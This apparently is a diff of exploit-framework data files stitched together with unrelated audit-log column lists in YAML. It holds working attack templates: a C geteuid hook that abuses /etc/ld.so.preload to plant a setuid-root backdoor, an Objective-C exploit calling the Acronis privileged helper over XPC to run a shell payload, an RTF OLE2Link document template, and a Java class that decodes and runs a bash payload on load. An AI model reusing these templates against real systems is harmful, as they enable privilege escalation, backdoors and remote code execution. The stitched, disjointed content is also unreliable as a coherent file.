#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
uid_t geteuid(void) {
|
||||
static uid_t (*old_geteuid)();
|
||||
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
||||
if ( old_geteuid() == 0 ) {
|
||||
chown("$BACKDOORPATH", 0, 0);
|
||||
chmod("$BACKDOORPATH", 04777);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}
|
||||
return old_geteuid();
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,46 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@protocol HelperToolProtocol
|
||||
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
|
||||
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
|
||||
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
|
||||
@end
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
NSString *service_name;
|
||||
NSString *payload = @"<%= @payload_path %>";
|
||||
NSArray *arg_array = @[@"-c", payload];
|
||||
NSFileManager *file_manager = [NSFileManager defaultManager];
|
||||
|
||||
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
|
||||
NSString *service_name_2021 = @"com.acronis.helpertool";
|
||||
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
|
||||
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
|
||||
|
||||
if ([file_manager fileExistsAtPath:helper_path_2020])
|
||||
{
|
||||
service_name = service_name_2020;
|
||||
}
|
||||
else
|
||||
{
|
||||
service_name = service_name_2021;
|
||||
}
|
||||
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
|
||||
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||
[connection setRemoteObjectInterface:interface];
|
||||
|
||||
[connection resume];
|
||||
|
||||
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error)
|
||||
{
|
||||
return;
|
||||
}];
|
||||
|
||||
[obj executeProcess:@"<%= sys_shell %>" arguments:arg_array caller:<%= @pid %> withReply:^(int arg)
|
||||
{
|
||||
return;
|
||||
}];
|
||||
}
|
||||
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,30 @@
|
||||
{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}
|
||||
\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
|
||||
{\pard\plain \ltrpar\ql \li0\ri0\sa160\sl259\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15608771 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
|
||||
{\object\objautlink\rsltpict\objw4321\objh4321\objscalex1\objscaley1{\*\objclass REPLACE_WITH_URI_STRING}{\*\oleclsid \'7b00000300-0000-0000-C000-000000000046\'7d}{\*\objdata 010500000200000009000000
|
||||
4f4c45324c696e6b000000000000000000000c0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdfffffffefffffffeffffff04000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000c6ad98892f1d411a65f0040963251e5000000000000000000000000009e
|
||||
70f1e98bd80103000000c00200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000006b0100000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000006000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000007000000f0000000000000000100000002000000030000000400000005000000fefffffffeffffff08000000090000000a000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff010000020900000001000000000000002a0000000403000000000000c0000000000000460200000021000c0000005f313731383030383936380000000000f90000000903000000000000c00000000000004602000000e0c9ea79f9bace11
|
||||
8c8200aa004ba90bb20000REPLACE_WITH_URI_STRING_UTF16000000795881f43b1d7f48af2c825dc485276300000000a5ab00030403000000000000c0000000000000460200000021000100000000ffffffff0000000000000000000000000000000000000000ffffffff00000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000100003000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c00REPLACE_WITH_URI_STRING_ASCII
|
||||
0000bbbbcccc4cREPLACE_WITH_URI_STRING_UTF16
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}
|
||||
}}}}
|
||||
Executable
BIN
Binary file not shown.
Binary file not shown.
Executable
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,11 @@
|
||||
import java.util.Base64;
|
||||
|
||||
public class PayloadRuns {
|
||||
static {
|
||||
try {
|
||||
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 256 KiB |
@@ -0,0 +1,297 @@
|
||||
---
|
||||
AdapFileAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
# - EVENT_NUMBER
|
||||
- TIME_GENERATED
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- SOURCE
|
||||
# - REMARKS
|
||||
# - OBJECT_SERVER
|
||||
# - OBJECT_TYPE
|
||||
# - HANDLE_ID
|
||||
# - OBJECT_NAME
|
||||
# - UNC_NAME
|
||||
# - FILE_NAME
|
||||
# - FILE_LOCATION
|
||||
# - LOGON_ID
|
||||
# - OPERATION_ID
|
||||
- PRIMARY_USER_NAME
|
||||
- PRIMARY_DOMAIN
|
||||
- PRIMARY_LOGIN_ID
|
||||
- CLIENT_USER_NAME
|
||||
- CLIENT_DOMAIN
|
||||
- CLIENT_LOGIN_ID
|
||||
- DOMAIN
|
||||
# - RESTRICTED_SID_COUNT
|
||||
# - ACCESSES
|
||||
# - PROCESS_ID
|
||||
# - PRIVILEGES_USED
|
||||
# - PRIVILEGES
|
||||
# - PROCESS_NAME
|
||||
# - NEW_SEC_DESC
|
||||
# - ORIGINAL_SEC_DESC
|
||||
# - NEW_PERMISSIONS
|
||||
# - ORIGINAL_PERMISSIONS
|
||||
# - ACL_CHANGE
|
||||
# - TRANSACTION_ID
|
||||
# - ACCESS_MASK
|
||||
- USERNAME
|
||||
# - RECORD_NUMBER
|
||||
- USER_SID
|
||||
# - ACCESS_TYPE
|
||||
# - ACCESS_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
- USER_SAM_ACCOUNT_NAME
|
||||
- USER_DISPLAY_NAME
|
||||
- USER_PRINCIPAL_NAME
|
||||
- USER_GUID
|
||||
- USER_DISTINGUISH_NAME
|
||||
- USER_OU_GUID
|
||||
- USER_DEPARTMENT
|
||||
- USER_MANAGER_NAME
|
||||
- SOURCE_NAME
|
||||
# - LOG_FILE_NAME
|
||||
# - KEYWORDS_NAME
|
||||
# - TASK_CATEGORY_NAME
|
||||
# - TASK_CATEGORY_ID
|
||||
# - FILE_TYPE
|
||||
- SHARE_NAME
|
||||
# - EXTRA_COLUMN1
|
||||
# - EXTRA_COLUMN2
|
||||
# - EXTRA_COLUMN3
|
||||
# - EXTRA_COLUMN4
|
||||
# - EXTRA_COLUMN5
|
||||
# - EXTRA_COLUMN6
|
||||
# - EXTRA_COLUMN7
|
||||
# - EXTRA_COLUMN8
|
||||
# - EXTRA_COLUMN9
|
||||
# - EXTRA_COLUMN10
|
||||
- CONFIGURED_DOMAIN_NAME
|
||||
# - NEW_PRIVILEGES_USED
|
||||
AdapPowershellAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - COMMAND_NAME
|
||||
# - COMMAND_PATH
|
||||
# - COMMAND_TYPE
|
||||
# - COMMAND_INVOCATION
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - EVENT_CATEGORY
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - HOST_APPLICATION
|
||||
- HOST_NAME
|
||||
# - SCRIPTBLOCK_ID
|
||||
# - RECORD_NUMBER
|
||||
# - SCRIPT_NAME
|
||||
# - SCRIPT_DATA
|
||||
# - SCRIPT_SNO
|
||||
# - SEVERITY
|
||||
# - TIME_GENERATED
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_SID
|
||||
# - TOTAL_NO
|
||||
# - MONITOR_ID
|
||||
# - EVENT_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
# - SCRIPT_DATA_JSON
|
||||
AdapSysmonAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
- TIME_GENERATED
|
||||
# - RECORD_NUMBER
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - REMARKS
|
||||
# - FORMAT_MESSAGE
|
||||
- CALLER_USER_SID
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_LOGON_ID
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- PROCESS_NAME
|
||||
- PARENT_PROCESS_NAME
|
||||
# - PROCESS_ID
|
||||
# - FILE_NAME
|
||||
# - INTEGRITY_LEVEL
|
||||
# - QUERY_STRING
|
||||
# - PARENT_PROCESS_ID
|
||||
# - PARENT_CMD_LINE
|
||||
# - QUERY_STATUS
|
||||
# - ACCESS_TYPE_TEXT
|
||||
# - ACCESS_TIME
|
||||
# - CREATION_TIME
|
||||
# - PREVIOUS_CREATION_TIME
|
||||
# - PROCESS_GUID
|
||||
# - RULE_NAME
|
||||
# - LOADED_FILE
|
||||
# - HASHED_VALUE
|
||||
# - FOLDER_PATH
|
||||
# - PARENT_PROCESS_GUID
|
||||
# - SESSION_ID
|
||||
# - IS_SIGNED
|
||||
# - SIGNATURE
|
||||
# - SIGNATURE_STATUS
|
||||
# - IS_ARCHIVED
|
||||
# - THREAD_ID
|
||||
- SOURCE_IP_ADDRESS
|
||||
# - PRODUCT_DESCRIPTION
|
||||
- DESTINATION_IP_ADDRESS
|
||||
- DESTINATION_HOST_NAME
|
||||
# - PORT_NUMBER
|
||||
# - PARENT_PORT_NUMBER
|
||||
# - REGISTRY_NAME
|
||||
# - QUERY_RESULT
|
||||
# - SCHEMA_VERSION
|
||||
# - WORKING_DIRECTORY
|
||||
- COMPANY_NAME
|
||||
- SOURCE_HOST_NAME
|
||||
- CALLER_USER_LOGON_GUID
|
||||
# - PARENT_PORT_NAME
|
||||
# - SERVICE_VERSION
|
||||
# - FILE_VERSION
|
||||
# - PRODUCT_NAME
|
||||
# - PORT_NAME
|
||||
AdapDNSAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
# - EVENT_NUMBER
|
||||
- TIME_GENERATED
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - REMARKS
|
||||
# - DNS_SETTING
|
||||
# - LOOKUP
|
||||
# - DNS_SCOPE
|
||||
# - DNS_OBJECT_GUID
|
||||
# - DISTINATION_ZONE
|
||||
# - OLD_DIRECTORY_PARTITION
|
||||
# - USER_ACTION
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
- CALLER_USER_LOGON_ID
|
||||
# - DNS_QUERY_NAME
|
||||
# - OBJECT_CLASS_TEXT
|
||||
# - DNS_SETTING_NAME
|
||||
- DISTINGUISHED_NAME
|
||||
# - OBJECT_GUID
|
||||
# - DNS_ZONE_NAME
|
||||
# # - REGISTRY_VALUE
|
||||
# - FORMAT_MESSAGE
|
||||
# - RECORD_NUMBER
|
||||
- CALLER_USER_SID
|
||||
# - DNS_SETTING_VALUE
|
||||
# - CORRELATION_ID
|
||||
# - ATTRIBUTES_NEW_VALUE
|
||||
# - ATTRIBUTES_OLD_VALUE
|
||||
# - TTL_VALUE
|
||||
# - DNS_MGMT_TYPE
|
||||
# - DNS_ZONE_TYPE
|
||||
# - DNS_ZONE_TYPE_STRING
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_GUID
|
||||
# - OP_APPLN_CORRELATION_ID
|
||||
# - OP_TREE_DELETE
|
||||
# - DIRECTORY_PARTITION
|
||||
# - ROOT_CAUSE
|
||||
# - FILE_NAME
|
||||
# - VIRTUALIZATION_INSTANCE
|
||||
# - ERROR_CODE_TEXT
|
||||
# - DNS_RESPONSE_DATA
|
||||
- DNS_SERVER_NAME
|
||||
# - LINE_NUMBER
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
# - NEXT_SCAVENGE_SCHEDULE
|
||||
# - RECORD_NAME
|
||||
# - RUNNING_TIME
|
||||
# - TIME_OUT
|
||||
# - DNS_NODE
|
||||
# - DNS_ZONE_FILE
|
||||
- FOREST_NAME
|
||||
# - SCAVENGED_NODES
|
||||
# - SCAVENGED_PERC
|
||||
# - SCAVENGED_RECORDS
|
||||
# - SERVICE_NAMES
|
||||
# - SLEEPING_TIME
|
||||
# - VISITED_NODES
|
||||
# - VISITED_ZONES
|
||||
AdapADReplicationAuditLog:
|
||||
- UNIQUE_ID
|
||||
# - MONITOR_ID
|
||||
- TIME_GENERATED
|
||||
# - RECORD_NUMBER
|
||||
- EVENT_MACHINE_NAME
|
||||
- EVENT_MACHINE_DOMAIN
|
||||
# - EVENT_NUMBER
|
||||
# - EVENT_TYPE
|
||||
# - EVENT_TYPE_TEXT
|
||||
# - FORMAT_MESSAGE
|
||||
# - REMARKS
|
||||
- CALLER_USER_DOMAIN
|
||||
- CALLER_USER_NAME
|
||||
- CALLER_USER_SID
|
||||
- CALLER_USER_DN
|
||||
- CALLER_USER_OU_GUID
|
||||
- CALLER_USER_DISPLAY_NAME
|
||||
- CALLER_USER_LOGON_ID
|
||||
- CALLER_USER_GUID
|
||||
- CLIENT_MACHINE_IPADDRESS
|
||||
- CLIENT_MACHINE_NAME
|
||||
- CLIENT_MACHINE_DOMAIN
|
||||
# - ALTERNATE_USER_ACTION
|
||||
# - DIRECTORY_PARTITION
|
||||
# - ERROR_CODE
|
||||
# - ERROR_CODE_TEXT
|
||||
# - EXTENDED_REQUEST_CODE
|
||||
# - FAILING_DNS_HOST
|
||||
# - HIGHEST_USN
|
||||
# - INTERSITE_TRANSPORT
|
||||
# - LAST_REPLICATION_DATE
|
||||
# - OBJECT_GUID
|
||||
# - OBJECT_NAME
|
||||
# - COMMON_NAME_PATH
|
||||
# - OPERATION
|
||||
# - REASON
|
||||
- REGISTRY_KEY
|
||||
# - REMOVE_LINGERING_OBJECTS
|
||||
# - SECONDARY_ERROR_VALUE
|
||||
- SERVICE_PRINCIPAL_NAME
|
||||
- SITE_NAME
|
||||
- SOURCE_DIRECTORY_SERVICE
|
||||
- SOURCE_DS_DOMAIN_NAME
|
||||
- SOURCE_DS_GUID
|
||||
- SOURCE_DS_NAME
|
||||
- SOURCE_DS_STARTING_ID
|
||||
# - THREAD_ID
|
||||
# - TIMEOUT_PERIOD
|
||||
# - TOMBSTONE_LIFE_TIME
|
||||
# - TRANSPORT_NAME
|
||||
# - USER_ACTION
|
||||
# - ATTRIBUTES_NAME
|
||||
# - ATTRIBUTES_VALUE
|
||||
# - SOURCE_DRA
|
||||
# - DESTINATION_DRA
|
||||
# - DESTINATION_DS_NAME
|
||||
# - DRS_OPTIONS
|
||||
# - REPL_EVENT_COUNT
|
||||
# - REPL_STATUS_CODE
|
||||
# - SESSION_ID
|
||||
# - START_USN
|
||||
# - END_USN
|
||||
# - TYPE_OF_CHANGE
|
||||
@@ -0,0 +1,259 @@
|
||||
---
|
||||
DSPEmailAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - ATTACHMENT_ID
|
||||
# - ACCESS_TYPE
|
||||
# - ACCESS_TYPE_MESSAGE
|
||||
# - PROCESS_NAME
|
||||
- MAIL_FROM
|
||||
- MAIL_TO
|
||||
- MAIL_BCC
|
||||
- MAIL_CC
|
||||
# - MAIL_SUBJECT
|
||||
# - MAIL_SENT_TIME
|
||||
# - MAIL_CLASSFICATION_VALUE
|
||||
# - MAIL_CLASSFICATION
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DSPEndpointAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
# - SOURCE_ID
|
||||
- USER_SID
|
||||
- USERNAME
|
||||
# - PROCESS_ID
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - CREATION_TIME
|
||||
# - FILE_ATTRIBUTES
|
||||
# - UNC_NAME
|
||||
# - LOCATION
|
||||
# - MESSAGE
|
||||
# - FILE_FOLDER_NAME
|
||||
# - NEW_FILE_NAME
|
||||
# - IMAGE_FILE_NAME
|
||||
# - OLD_SHARE_PATH
|
||||
# - NEW_SHARE_PATH
|
||||
# - SHARE_ID
|
||||
# - IS_SUCCESS_EVENT
|
||||
# - IS_DIRECTORY
|
||||
# - IS_TRANSACTION
|
||||
# - ACTION_ID
|
||||
# - ACCESS_MASK
|
||||
# - THREAD_ID
|
||||
# - CALLBACK_MAJOR_ID
|
||||
# - CALLBACK_MINOR_ID
|
||||
# - PROFILE_ID
|
||||
# - USER_ID
|
||||
# - OLD_SACL
|
||||
# - NEW_SACL
|
||||
# - DIFF_SACL
|
||||
# - FILE_SIZE
|
||||
- CLIENT_IP
|
||||
- CLIENT_HOST
|
||||
- OWNER_INFO
|
||||
# - OTHERINFO_1
|
||||
# - OTHERINFO_2
|
||||
# - IS_SENSITIVE_DATA
|
||||
# - FILETYPE_EXTENSION
|
||||
# - FILETYPE_CATEGORY
|
||||
# - ACCESS_FROM
|
||||
# - EVENT_GENERATED_BY
|
||||
# - LOGIN_ID
|
||||
- LOGIN_NAME
|
||||
- OWNER_SID
|
||||
# - IS_USB_EVENT
|
||||
# - IS_NETWORK_COPY
|
||||
# - LAST_KNOWN_COPY
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DSPEndpointClassificationReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - CLASSIFICATION_ID
|
||||
# - CLASSIFICATION_VALUE
|
||||
# - CLASSIFICATION_MSG
|
||||
# - LOCAL_PATH
|
||||
# - FILE_FOLDER_NAME
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - CREATION_TIME
|
||||
# - FILE_ATTRIBUTES
|
||||
- FILE_OWNER
|
||||
- OWNER_SID
|
||||
# - FILE_SIZE
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_HIDDEN
|
||||
# - MEDIA_FILE
|
||||
# - FILETYPE_EXTENSION_CATEGORY
|
||||
DSPEndpointIncidentReport:
|
||||
- INCIDENT_ID
|
||||
- SOURCE
|
||||
# - MODULE_NAME
|
||||
# - INCIDENT_TIME
|
||||
# - COMPLETION_TIME
|
||||
- TIME_GENERATED
|
||||
# - MESSAGE
|
||||
# - LOCATION
|
||||
# - ENDPOINT_ID
|
||||
# - INCIDENT_STATUS
|
||||
# - VIOLATED_POLICY
|
||||
# - DOMAIN_ID
|
||||
- ENDPOINT_NAME
|
||||
- USERNAME
|
||||
# - USER_ID
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
# - REPORT_GENERATION_ID
|
||||
# - NEW_FILE_NAME
|
||||
# - IMAGE_FILE_NAME
|
||||
# - FILE_FOLDER_NAME
|
||||
- USER_SID
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_USB_EVENT
|
||||
- NOTIFY_NAME
|
||||
- MAIL_FROM
|
||||
- MAIL_TO
|
||||
- MAIL_BCC
|
||||
- MAIL_CC
|
||||
# - MAIL_SUBJECT
|
||||
# - MAIL_SENT_TIME
|
||||
# - MAIL_CLASSFICATION
|
||||
# - PRINTER_NAME
|
||||
# - FILENAME
|
||||
# - PORT_NAME
|
||||
- MACHINE_NAME
|
||||
- PRINTER_USERNAME
|
||||
# - TOTAL_PAGES
|
||||
- CLIENTIPLIST
|
||||
- URL
|
||||
# - CLASSIFICATION_VALUE
|
||||
# - INCIDENT_PROFILE_ID
|
||||
# - INCIDENT_PROFILE_NAME
|
||||
# - INCIDENT_SEVERITY
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
# - IS_NETWORK_COPY
|
||||
# - LAST_KNOWN_COPY
|
||||
- CLIENT_HOST
|
||||
DspEndpointPrinterAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - COMPLETION_TIME
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - PRINTER_NAME
|
||||
# - FILENAME
|
||||
# - LOCAL_PATH
|
||||
# - PORT_NAME
|
||||
- MACHINE_NAME
|
||||
- PRINTER_USERNAME
|
||||
- NOTIFY_NAME
|
||||
# - TOTAL_PAGES
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
- CLIENTIPLIST
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
# - PROFILETYPE_ID
|
||||
# - PROFILETYPE_NAME
|
||||
DspEndpointWebAuditReport:
|
||||
- UNIQUE_ID
|
||||
- TIME_GENERATED
|
||||
# - SOURCE_ID
|
||||
# - ENDPOINT_ID
|
||||
- ENDPOINT_NAME
|
||||
- USER_SID
|
||||
- USER_NAME
|
||||
# - NEW_FILE_NAME
|
||||
# - FILE_SIZE
|
||||
# - FILETYPE_EXTENSION
|
||||
# - PROCESS_NAME
|
||||
# - MESSAGE
|
||||
# - URL
|
||||
- CLIENT_IP
|
||||
# - PROFILE_ID
|
||||
- PROFILE_NAME
|
||||
DSPFileAnalysisAlerts:
|
||||
- INCIDENT_ID
|
||||
# - VIOLATED_PROFILE
|
||||
# - SERVER_ID
|
||||
# - DRIVE_LETTER
|
||||
# - SOURCE_ID
|
||||
- TIME_GENERATED
|
||||
# - SECURITY_ID
|
||||
- SERVERNAME
|
||||
# - FILE_ATTRIBUTES
|
||||
# - LAST_ACCESS_TIME
|
||||
# - LAST_WRITE_TIME
|
||||
# - FILE_SIZE
|
||||
# - CREATION_TIME
|
||||
# - REPORT_GENERATION_ID
|
||||
# - YEAR_CREATED
|
||||
# - FILE_FOLDER_NAME
|
||||
# - LOCAL_PATH
|
||||
# - FILETYPE_EXTENSION
|
||||
# - IS_HIDDEN
|
||||
# - IS_DIRECTORY
|
||||
# - IS_STALE
|
||||
# - NON_BUSINESS_FILE
|
||||
# - FILETYPE_EXTENSION_CATEGORY
|
||||
RAAlertHistory:
|
||||
- INCIDENT_ID
|
||||
# - FILE_NAME
|
||||
# - FILE_TYPE
|
||||
# - LOCATION
|
||||
- SERVER_NAME
|
||||
# - POLICY_ID
|
||||
# - POLICY_NAME
|
||||
- TIME_GENERATED
|
||||
# - NO_OF_OCCURRENCES
|
||||
- FILE_OWNER
|
||||
# - DATA_SOURCE
|
||||
# - RISK_SCORE
|
||||
# - ENTITY_ID
|
||||
RAIncidents:
|
||||
- INCIDENT_ID
|
||||
# - FILE_NAME
|
||||
# - FILE_TYPE
|
||||
# - LOCATION
|
||||
- SERVER_NAME
|
||||
# - POLICY_ID
|
||||
# - POLICY_NAME
|
||||
- TIME_GENERATED
|
||||
# - NO_OF_OCCURRENCES
|
||||
- FILE_OWNER
|
||||
# - DATA_SOURCE
|
||||
# - RAISED_INCIDENT
|
||||
# - SOURCE_ID
|
||||
# - RISK_SCORE
|
||||
# - VIOLATION_SCORE
|
||||
# - POLICY_SCORE
|
||||
# - PERMISSION_SCORE
|
||||
